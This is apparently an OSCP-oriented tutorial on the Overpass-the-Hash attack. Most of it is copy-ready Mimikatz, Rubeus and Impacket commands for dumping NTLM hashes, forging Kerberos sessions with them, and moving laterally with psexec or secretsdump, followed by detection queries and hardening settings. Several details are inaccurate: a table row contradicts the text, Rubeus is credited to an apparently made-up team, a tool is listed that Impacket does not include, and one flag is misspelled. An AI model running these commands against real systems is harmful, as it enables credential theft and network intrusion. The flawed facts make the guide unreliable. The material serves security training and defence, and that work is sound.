Overpass-the-Hash
Table of Contents
- Concept Overview
- Why Overpass-the-Hash Matters
- The Full Attack Chain
- RC4 vs AES Encryption
- Mimikatz Method
- Rubeus Method
- Kali / Impacket Method
- Tools Comparison
- Detection Indicators
- Mitigation Strategies
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
Concept Overview
Overpass-the-Hash (OpH) is a two-phase attack technique that combines Pass-the-Hash (PtH) and Pass-the-Ticket (PtT) to achieve lateral movement using Kerberos instead of NTLM.
The Core Idea
When you obtain an NTLM (NT) hash from a compromised machine, you have two traditional options:
- Pass-the-Hash: Replay the NTLM hash directly over SMB/NTLM authentication
- Overpass-the-Hash: Use the NTLM hash to request a Kerberos TGT from the Domain Controller, then use that TGT for Kerberos-based lateral movement
Why Two Phases?
| Phase | Action | Purpose |
|---|---|---|
| Phase 1: PtH | Use NTLM hash to authenticate to DC | Request a Kerberos TGT (via kerberos::asktgt or asktgt) |
| Phase 2: PtT | Inject the obtained TGT into memory | Use Kerberos for lateral movement to other targets |
Key Distinction from Pass-the-Hash
| Feature | Pass-the-Hash | Overpass-the-Hash |
|---|---|---|
| Protocol | NTLM | Kerberos |
| DC Contact | No (direct replay) | Yes (TGT request) |
| Works when NTLM disabled | Yes | No (needs DC for TGT) |
| Works in Kerberos-only env | No | Yes |
| Leaves Kerberos logs | No | Yes (Event 4768) |
| Requires network to DC | No | Yes |
Why Overpass-the-Hash Matters
1. Bypasses NTLM Restrictions
Many modern environments disable or restrict NTLM authentication:
- NTLM authentication may be blocked by Group Policy
- SMB signing may be enforced, making PtH impossible
- NTLMv2 challenges may prevent hash replay
Overpass-the-Hash converts your NTLM hash into a legitimate Kerberos TGT, allowing you to authenticate via Kerberos — which remains enabled.
2. Works in Kerberos-Only Environments
If NTLM is completely disabled domain-wide, Pass-the-Hash becomes useless. Overpass-the-Hash still works because:
- The initial TGT request uses the NTLM hash as a password equivalent
- The resulting TGT is a legitimate Kerberos ticket
- All subsequent authentication uses Kerberos
3. Access to Kerberos-Only Services
Some services only accept Kerberos authentication:
- LDAP (port 389/636) with Kerberos binding
- WinRM (port 5985/5986) with Kerberos auth
- MSSQL with Integrated Security (Kerberos)
- HTTP services with SPNs configured for Kerberos
4. Golden Ticket Precursor
Overpass-the-Hash is often a stepping stone to extracting the KRBTGT hash, which enables Golden Ticket attacks.
The Full Attack Chain
Step-by-Step Flow
┌─────────────────────────────────────────────────────────────────────┐
│ OVERPASS-THE-HASH ATTACK CHAIN │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ [1] COMPROMISE HOST │
│ Obtain NTLM (NT) hash via Mimikatz, LSASS dump, etc. │
│ Example: administrator:528b7105f4184a3d0b5faf23e96bd46e │
│ │
│ [2] REQUEST TGT FROM DC │
│ Use NTLM hash to request Kerberos TGT │
│ Mimikatz: kerberos::asktgt /user:admin /domain:corp.local │
│ /rc4:528b7105f4184a3d0b5faf23e96bd46e │
│ Rubeus: asktgt /user:admin /rc4:HASH /domain:corp.local /ptt │
│ Kali: getTGT.py corp.local/administrator -hashes │
│ :528b7105f4184a3d0b5faf23e96bd46e │
│ │
│ [3] INJECT TGT INTO SESSION │
│ The TGT is injected into the current LSASS session (PtT) │
│ - Mimikatz: auto-injects with /ptt flag │
│ - Rubeus: /ptt flag injects automatically │
│ - Kali: export KRB5CCNAME=/path/to/ticket.ccache │
│ │
│ [4] LATERAL MOVEMENT VIA KERBEROS │
│ Use the injected TGT to authenticate to other resources │
│ - psexec.py -k target (Impacket, uses Kerberos) │
│ - rpcdump.py -k target │
│ - Get-GPPPassword (PowerShell, Kerberos auth) │
│ - Any tool that supports -k flag for Kerberos auth │
│ │
└─────────────────────────────────────────────────────────────────────┘
Detailed Walkthrough
Step 1: Obtain the NTLM Hash
# Via Mimikatz on compromised host
sekurlsa::logonpasswords
# Output example:
# * Username : administrator
# * Domain : CORP
# * NTLM : 528b7105f4184a3d0b5faf23e96bd46e
Step 2: Request TGT Using the Hash
The NTLM hash serves as the encryption key. The DC will validate it the same way it validates a password during normal Kerberos pre-authentication.
Step 3: TGT Injection
Once the TGT is obtained, it must be injected into the current session’s LSA (Local Security Authority) so that subsequent Kerberos requests automatically use it.
Step 4: Lateral Movement
With the TGT injected, all Kerberos-capable tools will use it for authentication. No password or hash needs to be specified — the ticket is already in memory.
RC4 vs AES Encryption
The Encryption Type Matters
When requesting a TGT via Overpass-the-Hash, the encryption type depends on what you provide:
| Input Provided | Encryption Type | Algorithm | Key Strength |
|---|---|---|---|
| NTLM (NT) Hash | RC4-HMAC | RC4 | 128-bit (weak) |
| AES256-CTS-HMAC-SHA1-96 Key | AES-256 | AES | 256-bit (strong) |
| AES128-CTS-HMAC-SHA1-96 Key | AES-128 | AES | 128-bit (moderate) |
Why RC4 is the Default for OpH
When you have an NTLM hash, you can only request an RC4-encrypted TGT because:
- The NTLM hash maps directly to the RC4 session key
- There is no direct mapping from NTLM hash to AES keys
- AES keys are derived from the password using a different algorithm (PBKDF2-like)
RC4 Implications
Advantages:
- Works with just the NTLM hash (most common scenario)
- Universally supported by all Windows versions
Disadvantages:
- RC4 is considered weak and deprecated
- Generates detectable Kerberos pre-auth with
etype 23(RC4) - Modern security policies may flag or block RC4 TGT requests
- Windows 11 / Server 2022 may restrict RC4 by default
AES Keys (Alternative)
If you obtain AES keys from memory (via Mimikatz sekurlsa::ekeys), you can request a stronger TGT:
# Mimikatz with AES256 key
kerberos::asktgt /user:admin /domain:corp.local /aes256:1234567890abcdef...
# Rubeus with AES256 key
asktgt /user:admin /aes256:1234567890abcdef... /domain:corp.local /ptt
AES Advantages:
- Less suspicious (normal for modern environments)
- Not flagged by RC4-specific detection rules
- Stronger encryption
AES Disadvantages:
- Requires extracting AES keys from memory (not just NTLM hash)
- May not be available if the user hasn’t recently authenticated
Mimikatz Method
Method 1: asktgt + ptt (Two-Step)
# Step 1: Request TGT using NTLM hash
kerberos::asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e
# Output:
# * Username : administrator
# * Domain : corp.local
# * Logon Time : 08/31/2026 10:15:30
# * Kerberos v5 Ticket-granting Ticket
# * Ticket Encryption Type: aes256-cts-hmac-sha1-96 (or rc4-hmac)
# * Ticket Checksum: rc4-hmac
# * Action : TGT injected into current session
# Step 2: Verify the ticket is injected
kerberos::list
# Output should show the TGT for the target user
Method 2: asktgt with /ptt flag (One-Step)
# Request and inject in one command
kerberos::asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /ptt
Method 3: Combined with PTH via sekurlsa::pth
# Use PTH to spawn a new session with the hash, then request TGT
sekurlsa::pth /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /run:mimikatz.exe
# In the new session, request TGT
kerberos::asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /ptt
Method 4: asktgt with /service for specific TGS
# Request TGT and immediately get TGS for a specific service
kerberos::asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /service:cifs/fileserver.corp.local /ptt
Parameter Reference
| Parameter | Description | Example |
|---|---|---|
/user |
Target username | /user:administrator |
/domain |
Target domain (FQDN) | /domain:corp.local |
/rc4 |
NTLM (NT) hash | /rc4:528b... |
/aes128 |
AES-128 key | /aes128:1234... |
/aes256 |
AES-256 key | /aes256:1234... |
/ptt |
Pass-the-Ticket (inject into session) | /ptt |
/service |
Request TGS for specific SPN | /service:cifs/server.corp.local |
/ticket |
Export ticket to file instead | /ticket:admin.kirbi |
/opsec |
Skip certain actions for OPSEC | /opsec |
Rubeus Method
Why Rubeus is Preferred
Rubeus is the recommended tool for Overpass-the-Hash because:
- Single command with
/pttflag (no two-step process) - Better OPSEC (cleaner execution, no Mimikatz signatures)
- Pure .NET assembly (no native code, easier to obfuscate)
- Active development and maintenance by the Gentiloki team
- Better error messages and debugging output
Basic Overpass-the-Hash
# Single command: request TGT and inject
Rubeus.exe asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /ptt
# Output:
[*] Action: Ask TGT
[*] Using rc4HMAC with supplied entropy
[*] Building an AS-REQ (w/ preauth)...
[*] Successfully crypted integrity lump with rc4HMAC
[*] Sending request to 10.0.0.1:88
[*] Successfully crypted AS-REP with rc4HMAC
[*] Response is success (KDC_ERR_0)
[*] Final base64 ticket: doIGWdXS...
[*] Action: Inject TGT
[+] kerberos::ptt OK
With AES Key
# If you have the AES256 key instead
Rubeus.exe asktgt /user:administrator /domain:corp.local /aes256:1234567890abcdef... /ptt
Export Ticket Instead of Injecting
# Export to .kirbi file for later use
Rubeus.exe asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /ticket:admin.kirbi
# Later, inject the exported ticket
Rubeus.exe ptt /ticket:admin.kirbi
Verify Injected Ticket
# List all tickets in current session
Rubeus.exe triage
# Output example:
Id 00 00000000-0000-0000-0000-000000000000
User: administrator@CORP.LOCAL
Service: krbtgt/CORP.LOCAL@CORP.LOCAL
Start: 08/31/2026 10:15:30
End: 09/01/2026 10:15:30
Renew: 09/07/2026 10:15:30
Encryption: rc4-hmac
Flags: name-canonicalize, pre-auth, initial, renewable, forwardable
Parameter Reference
| Parameter | Description | Example |
|---|---|---|
/user |
Target username | /user:admin |
/domain |
Target domain | /domain:corp.local |
/rc4 |
NTLM hash | /rc4:528b... |
/aes256 |
AES-256 key | /aes256:... |
/aes128 |
AES-128 key | /aes128:... |
/ptt |
Inject TGT into current session | /ptt |
/ticket |
Export to .kirbi file | /ticket:out.kirbi |
/domain_sam |
SAM domain name | /domain_sam:CORP |
/dc |
Target DC | /dc:dc01.corp.local |
/opsec |
Skip DC location enum | /opsec |
Kali / Impacket Method
Using getTGT.py
The Impacket getTGT.py script requests a TGT and saves it as a .ccache file (MIT Kerberos credential cache format).
# Request TGT using NTLM hash
getTGT.py corp.local/administrator -hashes :528b7105f4184a3d0b5faf23e96bd46e
# Output:
# Impacket v0.12.0
# [*] Saving ccache to: /tmp/ccache_XXXXXX
# [*] Got TGT for administrator@corp.local
Using the TGT with KRB5CCNAME
# Export the ccache path
export KRB5CCNAME=/tmp/ccache_XXXXXX
# Verify the ticket
klist
# Output:
# Ticket cache: FILE:/tmp/ccache_XXXXXX
# Default principal: administrator@CORP.LOCAL
#
# Valid starting Service principal
# 08/31/26 10:15:30 krbtgt/CORP.LOCAL@CORP.LOCAL
Using Impacket Tools with Kerberos (-k flag)
Once the TGT is in the ccache, use the -k flag with any Impacket tool:
# SMB execution via Kerberos
psexec.py -k -no-pass corp.local/administrator@10.0.0.20
# WMI execution
wmiexec.py -k -no-pass corp.local/administrator@10.0.0.20
# SAM dump
secretsdump.py -k -no-pass corp.local/administrator@10.0.0.20
# RPC services enumeration
rpcdump.py -k -no-pass corp.local/administrator@10.0.0.20
# LDAP queries
ldapsearch.py -k -no-pass corp.local/administrator@10.0.0.1
Full Workflow Example
# Step 1: Request TGT
getTGT.py corp.local/administrator -hashes :528b7105f4184a3d0b5faf23e96bd46e
# Step 2: Set environment variable
export KRB5CCNAME=/tmp/ccache_XXXXXX
# Step 3: Verify
klist
# Step 4: Lateral movement
psexec.py -k -no-pass corp.local/administrator@10.0.0.20
Using with Hashes Directly (Alternative)
Some Impacket tools support -hashes directly without getTGT:
# This internally performs Overpass-the-Hash
psexec.py -hashes :528b7105f4184a3d0b5faf23e96bd46e corp.local/administrator@10.0.0.20
Note: When using -hashes with Impacket tools, the tool automatically requests a TGT and uses it — this is Overpass-the-Hash happening behind the scenes.
Parameter Reference for getTGT.py
| Parameter | Description | Example |
|---|---|---|
-hashes |
LM:NT hashes (LM can be empty) | -hashes :528b... |
-dc-ip |
IP of Domain Controller | -dc-ip 10.0.0.1 |
-dc-host |
FQDN of DC | -dc-host dc01.corp.local |
-aesKey |
AES-256 key | -aesKey 1234... |
-debug |
Debug output | -debug |
Tools Comparison
| Feature | Mimikatz | Rubeus | Impacket (getTGT.py) |
|---|---|---|---|
| Platform | Windows (native) | Windows (.NET) | Linux / Kali |
| Single Command | No (2 steps or /ptt) | Yes (/ptt) | Yes (auto) |
| Ticket Format | .kirbi (export) | .kirbi (export) | .ccache (MIT) |
| OPSEC | Moderate (YARA sigs) | Good (pure .NET) | Good (no Windows footprint) |
| RC4 Support | Yes | Yes | Yes |
| AES Support | Yes | Yes | Yes |
| Auto-Injection | Yes (/ptt) | Yes (/ptt) | No (KRB5CCNAME) |
| Verification | kerberos::list |
rubeus triage |
klist |
| Best For | Windows pivot, full toolkit | Quick Windows OpH | Kali-based attacks |
| OSCP Recommendation | Good | Preferred on Windows | Preferred on Kali |
Detection Indicators
Event ID 4768 — Kerberos TGT Request
This is the primary detection indicator for Overpass-the-Hash.
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Event ID: 4768
Task Category: Kerberos Authentication Service
Key fields to monitor:
| Field | What to Look For | Why |
|---|---|---|
Encryption Type |
0x17 (RC4-HMAC) |
RC4 TGT = likely hash-based auth |
Client Address |
Non-DC requesting TGT | Normal, but correlate with time |
Service Name |
krbtgt/CORP.LOCAL |
Always krbtgt for TGT requests |
Ticket Encryption Type |
RC4 in AES-enforced env | Anomalous if AES is policy |
Detection Rules
Splunk / SIEM Query
index=windows EventCode=4768
| search Encryption_Type="0x17" OR Encryption_Type="23"
| stats count by target_user_name, client_address
| where count > 5
Elastic / Sigma Rule
title: Kerberos TGT Request with RC4 Encryption
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
level: medium
logsource:
category: authentication
product: windows
detection:
selection:
EventID: 4768
EncryptionType: '0x17'
condition: selection
falsepositives:
- Legacy systems may legitimately use RC4
Additional Detection Indicators
| Indicator | Description |
|---|---|
| TGT from unusual source | Non-workstation IP requesting TGT |
| RC4 in AES-enforced domain | If domain policy requires AES, RC4 is suspicious |
| TGT request after hash dump | Correlate 4768 with LSASS access (Event 4656/4663) |
| Multiple TGT requests | Same user, multiple TGTs in short time |
| TGT outside business hours | Anomalous timing |
Mitigation Strategies
1. Enforce AES Encryption
# Group Policy: Computer Configuration → Policies → Windows Settings →
# Security Settings → Local Policies → Security Options
# Network security: Configure encryption types allowed for Kerberos
# Set to: AES-128, AES-256 (remove RC4)
Registry equivalent:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
SupportedEncryptionTypes = REG_DWORD = 0x80 (AES only)
2. Monitor RC4 TGT Requests
- Alert on Event ID 4768 with RC4 encryption type
- Correlate with LSASS access events
- Baseline normal RC4 usage and alert on anomalies
3. Implement LSA Protection
# Enable LSA Protection (RunAsPPL)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1
# Enable LSA Protection with UEFI lock
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 2
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPLUsage" -Value 2
4. Disable WDigest
# Prevent plaintext password storage in LSASS
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 0
5. Credential Guard
Enable Virtualization-Based Security (VBS) with Credential Guard to isolate credentials in a virtualized container.
Common Pitfalls and Troubleshooting
Pitfall 1: Wrong Domain Format
# WRONG - NetBIOS name may not work
kerberos::asktgt /user:admin /domain:CORP /rc4:HASH
# CORRECT - Use FQDN
kerberos::asktgt /user:admin /domain:corp.local /rc4:HASH
Pitfall 2: TGT Not Injected
# Check if TGT is in memory
kerberos::list
# If empty, re-inject
kerberos::ptt /ticket:exported.kirbi
# For Rubeus
Rubeus.exe triage
Pitfall 3: Time Synchronization
Kerberos requires time sync within 5 minutes (default). If the compromised host has wrong time:
# Check time sync
w32tm /query /status
# Force sync with DC
w32tm /resync
Pitfall 4: Using Wrong Hash
# Make sure you're using the NT (NTLM) hash, not the LM hash
# Format: LM:NT — if LM is empty, use :NT
# Mimikatz output:
# * NTLM : 528b7105f4184a3d0b5faf23e96bd46e ← USE THIS
# * LM : aad3b435b51404eeaad3b435b51404ee ← THIS IS EMPTY/DEFAULT
# In Impacket:
-hashess :528b7105f4184a3d0b5faf23e96bd46e # LM:NT format, LM empty
Pitfall 5: Elevated Privileges Required
TGT injection requires elevated privileges on the local machine:
# Run Mimikatz/Rubeus as Administrator
# Check current token
whoami /priv
# If not admin, use sekurlsa::pth with /run to spawn elevated context
sekurlsa::pth /user:admin /domain:corp.local /rc4:HASH /run:cmd.exe
Pitfall 6: KRB5CCNAME Not Set (Kali)
# Common mistake: forgetting to export KRB5CCNAME
# Check if set
echo $KRB5CCNAME
# If empty, set it
export KRB5CCNAME=/tmp/ccache_XXXXXX
# Verify
klist
OSCP Exam Tips
1. Know When to Use Overpass-the-Hash
| Scenario | Use Overpass-the-Hash |
|---|---|
| NTLM disabled or restricted | YES |
| You have NTLM hash, need Kerberos access | YES |
| Target only accepts Kerberos auth | YES |
| You just need SMB access and NTLM works | NO (use PtH directly) |
| You have plaintext password | NO (use password directly) |
2. Rubeus is Your Best Friend on Windows
# One-liner that works in most OSCP scenarios
Rubeus.exe asktgt /user:USERNAME /domain:DOMAIN.local /rc4:NTLMHASH /ptt
# Then verify
Rubeus.exe triage
3. Kali Workflow is Simpler
# On Kali, Impacket handles OpH automatically with -hashes
psexec.py -hashes :NTLMHASH domain/user@TARGET_IP
# No need for separate getTGT step unless you want to reuse the ticket
4. Common OSCP Lab Scenarios
- Windows box → Windows box: Use Rubeus for OpH, then psexec.py or CrackMapExec
- Kali → Windows box: Use Impacket
-hashesflag directly - When PtH fails: Switch to Overpass-the-Hash (NTLM may be restricted)
- Before Golden Ticket: Use OpH to access DC and extract KRBTGT
5. Quick Reference Card
┌──────────────────────────────────────────────────────────┐
│ OVERPASS-THE-HASH QUICK REFERENCE │
├──────────────────────────────────────────────────────────┤
│ │
│ WINDOWS (Rubeus): │
│ Rubeus.exe asktgt /user:USER /domain:DOM.local │
│ /rc4:HASH /ptt │
│ │
│ WINDOWS (Mimikatz): │
│ kerberos::asktgt /user:USER /domain:DOM.local │
│ /rc4:HASH /ptt │
│ │
│ KALI (Impacket): │
│ getTGT.py dom.local/USER -hashes :HASH │
│ export KRB5CCNAME=/tmp/ccache_XXXX │
│ psexec.py -k -no-pass dom.local/USER@TARGET │
│ │
│ VERIFY: │
│ Windows: Rubeus.exe triage OR kerberos::list │
│ Kali: klist │
│ │
└──────────────────────────────────────────────────────────┘
6. Remember the Hash Format
Impacket: -hashes LM:NT → -hashes :528b... (LM empty)
Mimikatz: /rc4:NT → /rc4:528b...
Rubeus: /rc4:NT → /rc4:528b...
7. Detection Awareness
In the OSCP exam, you won’t be detected — but understanding Event ID 4768 and RC4 encryption types is valuable for the report and for real-world engagements.
Summary
Overpass-the-Hash is a critical technique that bridges the gap between NTLM hash theft and Kerberos-based lateral movement. By converting an NTLM hash into a legitimate Kerberos TGT, you can:
- Bypass NTLM restrictions — work in environments where NTLM is disabled
- Access Kerberos-only services — LDAP, WinRM, MSSQL with Kerberos auth
- Maintain operational flexibility — use the TGT for multiple lateral movement vectors
Key takeaways:
- Rubeus
/pttis the fastest Windows method - Impacket
-hasheshandles OpH automatically on Kali - RC4 encryption is the most detectable aspect — AES is stealthier
- Event ID 4768 with RC4 encryption is the primary detection signal
- Always verify ticket injection before attempting lateral movement